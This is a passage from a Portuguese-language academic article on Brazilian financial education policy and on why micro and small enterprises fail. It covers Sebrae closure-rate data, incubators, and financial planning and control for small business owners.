<p class="wp-block-paragraph">Em 2017, a Deliberação nº 19, de 16 de maio, do CONEF, estabelece diretrizes para o Programa Educação Financeira nas Escolas, objetivando tornar o Programa uma política pública apoiada na referência da Base Nacional Comum Curricular brasileira (BNCC) (Brasil, 2017), ou seja, uma necessidade de produção de metodologias de ensino sobre a temática alinhadas a esse currículo, o que destaca o envolvimento nas diversas áreas de conhecimento.&nbsp;</p>



<p class="wp-block-paragraph">Com isso, a EF passa a fazer parte das reflexões curriculares nas escolas e, segundo a BNCC (Brasil, 2018), de forma contextualizada, transversal e integradora, de acordo com as especificidades de cada sistema de ensino e escola, com orientações explícitas a partir do Ensino Fundamental. Destacamos que, apesar de a EF não ser articulada de forma explícita com a&nbsp;Educação Infantil, que é o marco inicial educacional importantíssimo na formação do sujeito,&nbsp;percebemos o esforço de articulá-la com o Ensino Fundamental, o que já confere à EF grande relevância e importância para a construção e o desenvolvimento de cidadãos mais educados financeiramente.&nbsp;</p>



<p class="wp-block-paragraph">Ainda segundo a Deliberação nº 19, de 16 de maio de 2017, no seu Artigo 2º, uma das diretrizes para a execução do Programa é privilegiar ações com foco no professor, protagonista do processo de disseminação do tema na escola, com ações para formação, o que nos chama a atenção para a importância de uma formação e preparação dos professores como agentes mediadores de novos saberes (Brasil, 2017).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Segundo Chiarello (2014, p. 43) afirma que “a formação do professor é importante campo reflexivo para educadores e pesquisadores, representa um enfrentamento a desafios cotidianamente colocados à comunidade educacional em busca de melhor qualificação e profissionalização do professor.” O docente que se apropria dos fundamentos da EF nas perspectivas crítica e reflexiva tem papel fundamental para contribuir com o desenvolvimento de pessoas mais conscientes financeiramente, permitindo um comportamento mais adequado diante dos problemas encontrados no universo de uma sociedade capitalista.&nbsp;</p>



<p class="wp-block-paragraph">O Art. 3º da mesma Deliberação estabelece como objetivo para a execução do Programa, até 2024, a integração da temática na cultura escolar brasileira através da vivência de projetos e atividades no cotidiano das escolas. O documento também destaca a importância de patrocínios que permitam execução de forma descentralizada, e sugere para tal investimento o envolvimento das stakeholders, que são partes interessadas no Programa que, mesmo não agindo de forma direta na sua execução dentro das escolas, envolvem-se com estratégias para que a temática sobre a EF seja disseminada nas escolas.&nbsp;</p>



<p class="wp-block-paragraph">Em 2020, o Decreto presidencial n° 10393 substituiu o Decreto presidencial nº 7.397, de 2010<sup>6</sup>. Segundo esse novo decreto, fica instituída a nova Estratégia Nacional de Educação Financeira, com o objetivo de promover a educação financeira, securitária, previdenciária e fiscal no país. Analisando a ENEF de 2010, é notório observar que a perspectiva da estratégia, mesmo sendo em sua maior parte previdenciária e de produtos financeiros, têm uma propensão para assuntos como fortalecimento da cidadania e tomada de decisões conscientes por parte dos consumidores, assuntos que, infelizmente, na atual ENEF, não são mencionados, sendo o foco primordialmente no caráter securitário, previdenciário e fiscal. Isso vai de encontro com a&nbsp;lógica de uma educação financeira que permite caminhos para a construção de um pensamento crítico e reflexivo.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2</strong><strong> </strong><strong>&nbsp;Como a Educação Financeira se aplica no mundo dos negócios</strong><strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">A educação financeira é o meio de prover esses conhecimentos e informações sobre comportamentos básicos que contribuem para melhorar a qualidade de vida das pessoas e de suas comunidades. É, portanto, um instrumento para promover o desenvolvimento econômico. Afinal, a qualidade das decisões financeiras dos indivíduos influencia, no agregado, toda a economia, por estar intimamente ligada a problemas como os níveis de endividamento e de inadimplência das pessoas e a capacidade de investimento dos países, conforme mensura Deyvid Casagrande <em>et.al.,</em> (2022).&nbsp;</p>



<p class="wp-block-paragraph">Assim sendo, Maria de Fátima Abud Olivieiri (2013) afirma que a educação financeira é um processo constante de aprendizagem, que desenvolve a capacidade integral do ser humano para tomar decisões sobre muitos aspectos da vida, inclusive aqueles afetos à questão do dinheiro para viver bem e equilibradamente. A importância da educação financeira começou a ser valorizada por vários segmentos acadêmico-práticos, pois o impacto dela envolve o resultado de uma sociedade saudável. Os empresários têm oferecido aperfeiçoamento a seus funcionários, para aprenderem a lidar com os recursos que recebem, tornando os colaboradores mais comprometidos, pois os resultados comprovam que uma vida financeira equilibrada traz consigo maior qualidade de vida e para o patrão, mais satisfação, com os retornos dos resultados.&nbsp;</p>



<p class="wp-block-paragraph">Posto isso, a educação financeira é necessária na capacitação dos Microempreendedores Individuais para gerenciar eficazmente suas finanças e garantir a sustentabilidade de seus negócios. Ao adquirir conhecimentos sobre orçamento pessoal, investimentos, planejamento financeiro e gestão de dívidas, os MEIs tornam-se mais preparados para enfrentar os desafios financeiros do empreendedorismo. A compreensão desses conceitos possibilita decisões mais embasadas e estratégicas, evitando armadilhas comuns, como endividamento excessivo, ausência de reservas financeiras e má gestão do fluxo de caixa<sup>7</sup>.&nbsp;</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">[&#8230;] um processo de aprendizagem ligado às finanças pessoais, onde a sociedade tem a oportunidade de adquirir uma visão crítica sobre o uso do dinheiro. A atual Constituição brasileira vincula a educação ao pleno desenvolvimento da pessoa e a seu preparo para o exercício da cidadania. Desta forma a educação financeira entra&nbsp;com essa participação cidadã, uma vez que esta viabiliza o entendimento da sociedade sobre as finanças pessoais e nacionais.&nbsp;</p>
</blockquote>



<p class="wp-block-paragraph">Consequentemente, Deyvid Casagrande e Sulyana Comério Margotto Borghi (2022) possuem o entendimento que a educação financeira oferece benefícios concretos, mais profundo dos princípios financeiros permite uma alocação mais eficiente de recursos, maximizando lucros e reduzindo perdas. Além disso, a capacidade de planejar e controlar finanças pessoais e empresariais contribui para maior estabilidade financeira, diminuindo a vulnerabilidade a crises econômicas ou imprevistos. A respectiva estabilidade é necessária para o crescimento sustentável dos negócios, fornecendo uma base sólida para investimentos, expansão e diversificação.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.3</strong><strong> </strong><strong>Os principais erros financeiros cometidos pelos pequenos empresários&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">Para Freitas (2023) a ausência de educação financeira acarreta uma série de consequências negativas para os pequenos negócios. A dificuldade em controlar os custos e despesas, a falta de planejamento financeiro adequado e a ausência de conhecimentos básicos em precificação e análise de viabilidade econômica podem levar a problemas de fluxo de caixa, endividamento excessivo e até mesmo ao encerramento das atividades empresariais<sup>.</sup>.&nbsp;</p>



<p class="wp-block-paragraph">Em contrapartida, para Salvador (2020) nem todos os MEIs têm acesso aos recursos necessários para investir em educação financeira formal. Muitos enfrentam restrições financeiras, limitações de tempo e dificuldades de acesso a programas educacionais adequados. A respectiva realidade gera disparidades entre os empreendedores que possuem conhecimento financeiro e aqueles que não possuem, ampliando desigualdades no mercado e dificultando a inclusão financeira. A falta de educação financeira pode tornar os MEIs mais vulneráveis a erros de gestão, decisões impulsivas e práticas abusivas de credores e instituições financeiras, conforme dito por Daiane Salvador.&nbsp;</p>



<p class="wp-block-paragraph">Consoante, a&nbsp; conscientização sobre a importância da educação financeira tem sido reconhecida e valorizada por diversos cursos acadêmicos e programas práticos, uma vez que sua influência repercute positivamente no bem-estar de uma sociedade. Posto isso, a incorporação do ensino de educação financeira nos currículos escolares desde a infância tem sido um tema de destaque.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>MICRO E PEQUENAS EMPRESAS: DESAFIOS E REALIDADE&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>3.1</strong> <strong>Conceito e Definição de Micro e Pequenas Empresas&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">Para Dolabela (2008, p.22) as pequenas e micro empresas estão ganhando cada vez mais a atenção devido aos índices que as recentes pesquisas têm mostrado, uma grande evolução na geração de empregos, inovações, e participações em todos os segmentos da economia.&nbsp;</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">A definição de MPE pode ser feita de duas formas alternativas: pelo número de pessoas ocupadas na empresa ou pela receita auferida: POR NÚMEROS&nbsp;DE PESSOAS OCUPADAS NA EMPRESA – Neste caso, foram classificadas como microempresas aquelas nas atividades de serviços e comércio com até 9 pessoas ocupadas, e como pequena empresa as que tinham entre 10 e 49 pessoas ocupadas; na atividade industrial, são microempresas aquelas com até 19 pessoas ocupadas, e pequenas empresas entre 20 e 99 pessoas ocupadas<sup>8</sup>.&nbsp;</p>
</blockquote>



<p class="wp-block-paragraph">A pequena empresa surge em função da existência de nichos mercadológicos, ou seja, lacunas de necessidades não atendidas pelas grandes empresas e pela produção de massa. Maria de Fátima Abud Olivieiri (2013) diz que, seu nascimento está intimamente ligado à criatividade: o empreendedor tem que perceber o mercado de forma diferenciada, ver o que os demais não percebem.&nbsp;</p>



<p class="wp-block-paragraph">Os Microempreendedores Individuais são pessoas que geralmente trabalham sozinhos e legalizaram sua atividade com o registro da empresa. Pode ser difícil a separação da movimentação financeira pessoal e empresarial, visto que para muitos destes empresários a pessoa física e jurídica são a mesma coisa.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.2</strong> <strong>Importância das MPEs para a economia&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">As empresas de pequeno porte, são essas caracterizadas como sendo a pessoa jurídica que tem um faturamento bruto anual em torno de R$ 360.000,00 mil a R$ 3.6 milhões, se esse&nbsp;valor for ultrapassado ela já se caracteriza como sendo uma microempresa. O ponto primordial de análise é o crescente aumento de aberturas de empresas de pequeno porte no território brasileiro, considerando um dos segmentos de maior empregabilidade e com grande influência no aumento do PIB do país<sup>9</sup>.&nbsp;</p>



<p class="wp-block-paragraph">Segundo dados do Sebrae em 2022 é considerando a média variável de faturamento anual para se considerar uma empresa de pequeno porte também deve ser analisado a questão relativa dos números de funcionários tanto no setor comercial e industrial, no comércio esse número é de no mínimo 10 a 49 funcionários e no segmento industrial da empresa de pequeno porte é permitido que tenha até 99 funcionários. Atualmente, a legislação brasileira visa propiciar formas de incentivar à abertura de pequenas empresas no territorial e com isso permitindo maior flexibilidade no aumento da receita anual acima do limite estipulado para dar maior abertura para o comércio de exportação.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">As fontes buscam delimitar e avaliar esse crescente número de aberturas de empresas no Brasil considerando os dados recolhidos no ano de 2022 pelo Sebrae os resultados foram óbvios e as análises conclusivas que em sua maioria as empresas brasileiras se classificam como sendo empresas individuais, microempresas e de pequeno porte, conforme o quadro adaptado da Agência do Sebrae exposto abaixo no Quadro 1.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Nesse tópico, evidencia-se sobre o Quadro 1, que exemplifica os dados obtidos acerca da classificação de empresas de pequeno porte:</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1 –</strong> Classificação de empresas segundo Sebrae (2022):</p>



<figure class="wp-block-image aligncenter"><img decoding="async" src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXeXfpa0h-RsAkk_N0sbPSLRQRXRfwObij5JORYJg1yZNA6fr6uCiM3WTgC5cHewRbLK8XiZpxd9hTXYeqPaKfEbZ9xebXLNd7udWpCK4_1rJ9opiGO6whpH23Xlv6rm-THosvluiQ?key=OQeWe1Bms6ytB44E9XZl-w" alt=""/></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Sebrae (2022)</p>



<p class="wp-block-paragraph">Tanto as micro pequenas empresas e as empresas de pequeno porte vem durante anos representando cerca de 98% do total de todas as empresas existentes nos países desenvolvidos, isso refletiu significativamente no Brasil. Com os países dominados por esse segmento de empreendimento, essas empresas empregam cerca de 70% dos empregos formais existentes em todo o mundo.&nbsp;</p>



<p class="wp-block-paragraph">No Brasil, conforme os estudos de Lucas Martins (2017) desde meados de 2006, com a criação da Lei Geral da Micro e Pequena Empresa, visou como propósito garantir uma série de direitos e incentivos fiscais, esses incentivos são uma forma alternativa do governo federal garantir o desenvolvimento dessas empresas com seu apoio indiretamente. Isto, pois, com o crescente alcance das empresas de pequeno porte no país diretamente contribuiu para maior distribuição de renda, incluindo mais pessoas no mercado financeiro e de consumo, gerando a solução para um problema que há anos vem sendo enfrentado no Brasil que é o desemprego.&nbsp;</p>



<p class="wp-block-paragraph">Além da geração de empregos as EPP’s para Maria Aparecida de Carvalho Teixeira e Tales Andreassi (2013) esses propiciaram o crescimento dos empresários de pequeno porte, sendo consideradas como um dos pilares de sustentação da economia, principalmente no Brasil. A atividade empreendedora contribui para o crescimento e o desenvolvimento dos países, e sua permanência no mercado tem sido considerada como um dos grandes desafios para os governantes, que trata estritamente sobre os pequenos negócios que aceleram o emprego e o PIB do Brasil, fazendo um comparativo entre eles de quanto da receita bruta anual eles alcançam durante o decorrer do respectivo ano.&nbsp;</p>



<p class="wp-block-paragraph">No Brasil possui milhares de pequenos empreendedores que participam ativamente da geração de riquezas do país, sendo que o empreendedorismo influencia a atual realidade dos negócios mesmo com todo o desenvolvimento e destaque que vem conquistando ainda enfrentam desafios enraizados dentro da estrutura do empreendimento e fora dele pela falta de colaboração e atuação do Governo, em termos de ajuda colaborativa para alavancar o empreendedorismo, pois como bem menciona o escritor, o país depende da sua população empreendedora para se desenvolver.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.3 Por que tantas empresas fecham nos primeiros anos?&nbsp;</strong></p>



<p class="wp-block-paragraph">É indiscutível a relevância das micro e pequenas empresas (MPEs) para a economia brasileira e para a geração de empregos, uma vez que representam cerca de 99% do total de empresas no país e respondem por aproximadamente 40% da massa salarial. Apesar da vocação empreendedora do brasileiro, dados da Pesquisa Demografia das Empresas, realizada pelo IBGE, revelam que cerca de 60% das empresas deixam de existir em até cinco anos após sua criação. Essa realidade é corroborada por pesquisa do SEBRAE em parceria com a Fundação Getúlio Vargas (FGV), apontou a falta de crédito para financiamento do capital de giro como uma das principais causas do fechamento dessas empresas. A queda do consumo e o aumento da carga tributária durante a crise econômica enfrentada pelo país contribuíram negativamente para esse cenário.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Segundo Lemes (2019) a pesquisa demonstra que, dos 1,8 milhão de empreendimentos criados em 2014, cerca de 600 mil (33%) já haviam encerrado suas atividades até o final de 2016. Complementando, dados do SEBRAE indicam que aproximadamente 24% das empresas fecham antes de completar dois anos e 45% não sobrevivem após quatro anos de operação. Outro levantamento divulgado pelo SEBRAE em fevereiro de 2018, com empresários de pequenas empresas, evidenciou que os fatores que mais prejudicaram o desempenho dessas empresas refletem a difícil conjuntura econômica enfrentada pelo país naquele período.&nbsp;</p>



<p class="wp-block-paragraph">Ocasionalmente, ainda segundo Lucas Martins (2017) mesmo as empresas de pequeno porte sendo consideradas uma possível solução para o problema de níveis crescentes de desemprego ou como um modelo de flexibilidade em uma economia globalizada, tem sido pauta para grandes discussões sobre o sistema da sua organização, uma vez que o empreendedor/ fundador não possui na maioria dos casos conhecimento técnico suficiente para gerir o empreendimento e realizar uma boa gestão empresarial, em muitos os casos concretos, muitas das vezes o fechamento das empresas de pequeno porte se resume à falta de gerenciamento de pessoas, atividades e questões de contabilidade administrativa.&nbsp;</p>



<p class="wp-block-paragraph">Assim, mesmo com o crescente número de abertura de empresas de pequeno porte gera a preocupação dos fechamentos em escala crescente desses polos empresariais.&nbsp;</p>



<p class="wp-block-paragraph">O site Adviser (2018, p. 1), menciona que 60% das micro e pequenas empresas fecham as portas por não procurar ajuda.&nbsp;</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Todo ano milhares de empreendedores usam o próprio dinheiro, e muitos deles guardaram a vida toda para abrir seu próprio negócio e acabam apostando tudo o que tem para se tornarem proprietários. Aquele sonho de possuir o próprio negócio pode acabar se tornando um pesadelo para o micro e pequeno empreendedor. Mais de 60% das empresas fecham as portas, e muitas ainda com menos de um ano de atuação. Identificamos ao longo desse período as principais causas de fechamento, tais como: Falta de planejamento; Gestão inadequada e Comportamento do empreendedor.&nbsp;</p>
</blockquote>



<p class="wp-block-paragraph">Em seu estudo, Paula<em>, et al</em> (2015, p. 74) afirmam que,&nbsp;</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">a maioria dos micros e pequenos empresários não tem muito conhecimento sobre as áreas administrativas e financeiras, consequentemente não planejam corretamente a abertura e o andamento de sua empresa. Antes de abrir sua empresa, o empresário precisa pensar no risco do negócio, nos gastos que terá com mão de obra, impostos, para depois não se arrepender.&nbsp;</p>
</blockquote>



<p class="wp-block-paragraph">A taxa de mortalidade entre os pequenos negócios no Brasil varia de acordo com o porte da empresa e o setor de atuação. Os Microempreendedores Individuais (MEIs) apresentam a maior taxa de mortalidade, com 29% encerrando suas atividades após cinco anos de funcionamento. Segundo Dado&nbsp;</p>



<p class="wp-block-paragraph">Segundo dados do Sebrae (2023) as Microempresas (MEs) têm uma taxa intermediária de 21,6%, enquanto as Empresas de Pequeno Porte (EPPs) registram a menor taxa, com 17% fechando no mesmo período. O comércio se destaca como o setor com maior índice de mortalidade, atingindo 30,2%, seguido pela indústria de transformação (27,3%) e serviços (26,6%).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Em contrapartida, os menores índices estão na indústria extrativa (14,3%) e na agropecuária (18%). Entre os principais fatores que contribuíram para o fechamento desses negócios, destacam-se o pouco preparo pessoal dos empreendedores, deficiências no planejamento e na gestão do negócio e problemas externos, como a pandemia de Covid-19. Muitos empresários encerraram suas atividades por falta de capacitação, planejamento de curto prazo e pouca atuação estratégica, como adaptação de produtos e serviços<sup>10</sup>.&nbsp;</p>



<p class="wp-block-paragraph">Segundo dados do Sebrae (2023), mais de 40% dos que encerraram as atividades apontaram a pandemia como causa central do fechamento, sendo notável a menor busca por crédito entre esses empresários. Regionalmente, Minas Gerais apresentou a maior taxa de mortalidade (30%), seguido por Distrito Federal, Rondônia, Rio Grande do Sul e Santa Catarina (29%). Os estados com as menores taxas foram Amazonas e Piauí (22%), além de Amapá, Maranhão e Rio de Janeiro (23%).&nbsp;</p>



<p class="wp-block-paragraph">Para Lemes (2019) destaca que a mortalidade das micro e pequenas empresas (MPEs) pode ser atribuída a diversos fatores, entre eles vinte erros principais que comprometem o&nbsp;sucesso do negócio, como a falta de planejamento prévio, desconhecimento do mercado, ausência de inovação, descontrole financeiro e a utilização indevida dos recursos da empresa para fins pessoais. O autor ressalta que, além desses erros, o sucesso empresarial está fortemente relacionado a três categorias de características: habilidades gerenciais, capacidade empreendedora e logística operacional.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 2 &#8211;</strong> Motivos alegados pelos empreendedores para o fechamento da empresa</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="1005" height="470" src="https://revistaft.com.br/wp-content/uploads/2025/06/Imagem-do-WhatsApp-de-2025-06-18-as-16.45.17_92a5674a.jpg" alt="" class="wp-image-223746" srcset="https://revistaft.com.br/wp-content/uploads/2025/06/Imagem-do-WhatsApp-de-2025-06-18-as-16.45.17_92a5674a.jpg 1005w, https://revistaft.com.br/wp-content/uploads/2025/06/Imagem-do-WhatsApp-de-2025-06-18-as-16.45.17_92a5674a-300x140.jpg 300w, https://revistaft.com.br/wp-content/uploads/2025/06/Imagem-do-WhatsApp-de-2025-06-18-as-16.45.17_92a5674a-768x359.jpg 768w" sizes="(max-width: 1005px) 100vw, 1005px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Sebrae (2022)</p>



<p class="wp-block-paragraph">Ainda segundo Lemes (2019) o planejamento detalhado antes e após a abertura do negócio, o estudo aprofundado do mercado e do segmento, o investimento em diferenciação do produto, controles financeiros rigorosos, treinamento dos empreendedores e funcionários, além do cuidado com a gestão da marca e a clareza na separação do patrimônio pessoal e empresarial são essenciais para a sustentabilidade das MPEs. Assim, enfatiza a importância do aprendizado tanto com os próprios erros quanto com os fracassos de outras empresas, evitando repetir práticas inadequadas. Para ilustrar essa realidade, Lemes apresenta uma pesquisa do SEBRAE que aponta os principais motivos que levam os empreendedores ao insucesso.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.4 Fatores Essenciais para Continuidade e Crescimento das MPEs&nbsp;</strong></p>



<p class="wp-block-paragraph">As análises ambientais, tanto externas quanto internas, e das características pessoais do empreendedor, diversos fatores devem ser observados com especial atenção ao se pensar em abrir um novo negócio.&nbsp; Conforme os estudos de Lima (2023) esses fatores, destaca-se a avaliação da intensidade das barreiras à entrada impostas por empresas concorrentes já estabelecidas, que podem dificultar a entrada no mercado. Outro ponto importante é o grau de sazonalidade do segmento onde a empresa pretende atuar, pois ambos os aspectos podem impactar significativamente os resultados e comprometer a continuidade do negócio em um prazo mais curto ou longo.&nbsp;</p>



<p class="wp-block-paragraph">Ocasionalmente, esses em ambientes com menor competitividade e sem grandes oscilações sazonais, aspectos internos da empresa podem ser determinantes para sua sobrevivência ou fechamento. Segundo Boog (1991), toda empresa apoia-se em três pilares principais e distintos: financeiro, marketing e operações. O pilar financeiro se traduz nos resultados de lucro, retorno e aumento do patrimônio líquido da empresa. O marketing é avaliado por indicadores como volume de vendas, fidelização de clientes, imagem da empresa, dos produtos e serviços, e a qualidade da assistência pós-venda. Já o pilar operacional foca nos números relacionados à produção, métodos e processos, comercialização, produtividade, qualidade dos produtos, além do controle do estoque de máquinas e instalações.&nbsp;</p>



<p class="wp-block-paragraph">A conjugação desses três pilares, aliada à profissionalização da gestão, é fundamental para guiar a empresa rumo à sustentabilidade e ao crescimento. Outro aspecto crucial é o empreendedor em si, especialmente seu nível de experiência e conhecimento adquiridos antes da abertura da empresa, que destaca os principais fatores que impactam na sobrevivência das empresas, segundo pesquisa do SEBRAE (2022).&nbsp;</p>



<p class="wp-block-paragraph">Assim sobre a gestão eficiente, segundo Costa (2020) e da experiência do empreendedor, fatores externos também influenciam significativamente a sobrevivência e o&nbsp;crescimento das MPEs. Em especial, políticas governamentais de incentivo, instituições de fomento ao empreendedorismo, fontes de financiamento público e o apoio de universidades, incubadoras, investidores anjos e grandes empresas são elementos que podem fortalecer o ambiente para essas empresas.&nbsp;</p>



<p class="wp-block-paragraph">As diversas pesquisas, como por exemplo, de Mendes (2021) apontam que as MPEs enfrentam inúmeros desafios nos primeiros dois anos de existência, entre eles a elevada competitividade, o baixo poder de negociação, a escassez de clientes, o desconhecimento em gestão empresarial e a falta de capital de giro. As incubadoras de empresas desempenham papel fundamental.&nbsp;</p>



<p class="wp-block-paragraph">Ainda segundo dados levantados pelo autor Mendes (2021) as respectivas instituições, geralmente vinculadas a instituições de ensino, têm como objetivo apoiar micro e pequenas empresas, nascentes ou já existentes, oferecendo suporte técnico, gerencial e formação para o empreendedor, facilitando o acesso a novas tecnologias e melhores práticas de gestão.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Sobre o autor Silva (2022) o processo de incubação consiste em fornecer às empresas incubadas benefícios como: espaço físico adequado para pesquisa e operação; infraestrutura e serviços compartilhados, incluindo salas de reunião, telefone, acesso à internet e suporte em informática; assessoria técnica e empresarial especializada; facilitação do acesso a financiamentos e investidores; abertura de canais para novos mercados; ampliação da rede de relacionamentos empresariais; aprendizado coletivo com outras empresas incubadas e feedback constante por meio de acompanhamento, avaliação e orientação.&nbsp;</p>



<p class="wp-block-paragraph">Segundo Lemes (2019) a taxa de sobrevivência das MPEs apoiadas por incubadoras é significativamente maior do que a de outras empresas. Enquanto a mortalidade de negócios em geral pode ultrapassar 50% nos primeiros anos, para empresas incubadas esse índice é reduzido para cerca de 20%, evidenciando a eficácia desse tipo de apoio para a sustentabilidade e crescimento das micro e pequenas empresas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>COMO A EDUCAÇÃO FINANCEIRA PODE FAZER A DIFERENÇA&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>4.1 Organização e Gestão Financeira&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">O Banco Central, traz no Caderno de Educação Financeira Gestão de Finanças Pessoais, a seguinte informação sobre a Educação Financeira, elencando sobre o relacionamento com o dinheiro:&nbsp;</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Se pararmos para pensar, estamos sujeitos a um mundo financeiro muito mais complexo que o das gerações anteriores. No entanto, o nível de educação financeira da população não acompanhou esse aumento de complexidade. A ausência de educação financeira, aliada à facilidade de acesso ao crédito, tem levado muitas pessoas ao endividamento excessivo, privando-as de parte de sua renda em função do pagamento de prestações mensais que reduzem suas capacidades de consumir produtos que lhes trariam satisfação.&nbsp;</p>
</blockquote>



<p class="wp-block-paragraph">O relacionamento com o dinheiro tem que ser algo bom, honesto e de uma forma organizada, quanto maior o controle orçamentário tanto no lado pessoal quanto no lado profissional, melhor será para o planejamento a curto, médio e longo prazo.&nbsp;</p>



<p class="wp-block-paragraph">A forma de administrar as finanças será reflexo da situação e da realidade que vive, embora muitas famílias tenham planos e realidades que mudam constantemente, o planejamento só pode ser feito com autocontrole, disciplina e orientação, o conhecimento se forma ao longo do tempo, estar envolta de pessoas que proporcionam este conhecimento, seja fisicamente ou virtualmente, é necessário para haver esta harmonização nas finanças, tanto pessoais como da família toda.&nbsp;</p>



<p class="wp-block-paragraph">Conforme Kiyosaki (2000, p. 60) “A inteligência resolve problemas e gera dinheiro. O dinheiro sem a inteligência financeira é dinheiro, que desaparece depressa”. Quando falamos em finanças pessoais estamos incorporando na gestão pessoal, dentro da área de finanças as funções do administrador, que são: planejar, organizar, controlar e avaliar.&nbsp;</p>



<p class="wp-block-paragraph">Por gestão de recursos entendem-se as seguintes funções:&nbsp;</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Planejar: Com especificações qualitativa, dimensionamento quantitativo, estimativas financeiras, e previsões temporais dos recursos envolvidos, para a consecução de um objetivo. Organizar: Com otimização quantitativa, econômica, e temporal da aplicação recursos, para obtenção de um produto ou serviço, com zelo pela qualidade do resultado final. Controlar: Com a verificação da correta aplicação dos recursos e dos requisitos especificados e obtidos dos produtos e serviços, conforme planejados. Avaliar: Com a comparação dos requisitos especificados e os resultados (recursos aplicados, produtos e serviços obtidos), com a análise de causas e efeitos de desvios relativos à qualidade, à quantidade, aos custos e prazos, com o intuito de aprimorar o próprio processo. (Marques, 2018, p.12).&nbsp;</p>
</blockquote>



<p class="wp-block-paragraph">Na Educação Financeira, conforme exposto anteriormente, a Gestão Financeira está diretamente relacionada, conforme Kuhn (2012, p.12) “Administração Financeira é o processo administrativo enquanto se refere aos recursos financeiros [&#8230;], sou seja, qualquer ato administrativo ou de tomada de decisão que implica obtenção e/ou aplicação de recursos financeiros”.&nbsp;</p>



<p class="wp-block-paragraph">Gerenciar as finanças é sobre os recursos disponíveis, ou sobre o que será feito para haver a disponibilidade, nas ações, projetos e incorporações, neste sentido, Kuhn (2012, p.12) destaca que: “Uma decisão financeira ótima, pressupõe, primeiramente a identificação dos aspectos financeiros relevantes, especialmente os afetos à relação risco x retorno”.&nbsp;</p>



<p class="wp-block-paragraph">O sistema financeiro é composto por três instituições principais: Conselho Monetário Nacional, pelo Banco Central e pela Comissão de Valores Mobiliários, o primeiro regula as condições, fiscalizando as instituições financeiras, o segundo atua como banco dos bancos, sendo o órgão executivo central, sendo feitas metas através do Comitê de Política Monetária do Banco Central, o terceiro tem como objetivo promover a expansão e o desenvolvimento do mercado de capitais, julgar e punir irregularidades.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.2 Controle Financeiro&nbsp;</strong></p>



<p class="wp-block-paragraph">A finalidade do controle é assegurar que os resultados do que foi planejado, organizado e dirigido se ajustem tanto quanto possível aos objetivos previamente estabelecidos. A essência do controle reside na verificação se a atividade controlada está ou não alcançando os objetivos previamente ou resultados desejados. O controle consiste fundamentalmente em um processo que guia a atividade exercida para um fim previamente determinado (Maximiano, 1995, p. 418).&nbsp;</p>



<p class="wp-block-paragraph">Assim, controlar significa “acompanhar a execução de atividades e comparar periodicamente o desempenho efetivo com o planejado. A função de controle envolve também a geração de informações para tomada de decisões e correção do eventual desvio do desempenho em relação ao originalmente projetado”. (Hoji, 1999, p. 328).&nbsp;</p>



<p class="wp-block-paragraph">Posto isso, o controle financeiro consiste em um conjunto de ações utilizadas na verificação da execução dos planos traçados e estabelecidos no planejamento, além disso, a partir da metodologia utilizada nesse processo é possível definir medidas necessárias para o reparo de possíveis falhas. De tal modo, “o controle situa-se na fase de implementação dos planos, caracterizando-se como um processo de ajustamento em feedback para: (1) assegurar que os planos sejam seguidos; e (2) modificar os planos existentes em resposta a mudança no ambiente operacional”. (Weston, 2004, p. 343),&nbsp;</p>



<p class="wp-block-paragraph">O controle financeiro estabelece diretrizes de mudanças na empresa especialmente no que concerne ao controle de ações para atingir objetivos e metas em curto e longo prazos. Para&nbsp; Dayane Vieira Paula a ação permite aos gestores interpretar os dados internos e externos da organização e cenarizar as políticas financeiras sobre as quais a empresa deve decidir visando seu crescimento e a sua rentabilidade.&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;O controle é uma parte necessária da estratégia de qualquer empresa. Portanto trata-se de um instrumento efetivo de controle pela sua natureza tática e operacional.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.3 Benefícios da Educação Financeira para Empreendedores&nbsp;</strong></p>



<p class="wp-block-paragraph">A educação financeira é uma aliada estratégica na vida dos empreendedores, especialmente no contexto das micro e pequenas empresas (MPEs). O conhecimento sobre gestão de finanças permite maior controle sobre os recursos, reduz riscos de falência e contribui para uma atuação mais competitiva no mercado. Os estudos mostram que a ausência de noções básicas de finanças é um dos principais fatores que levam à mortalidade precoce de pequenos negócios (Sebrae, 2020).&nbsp;</p>



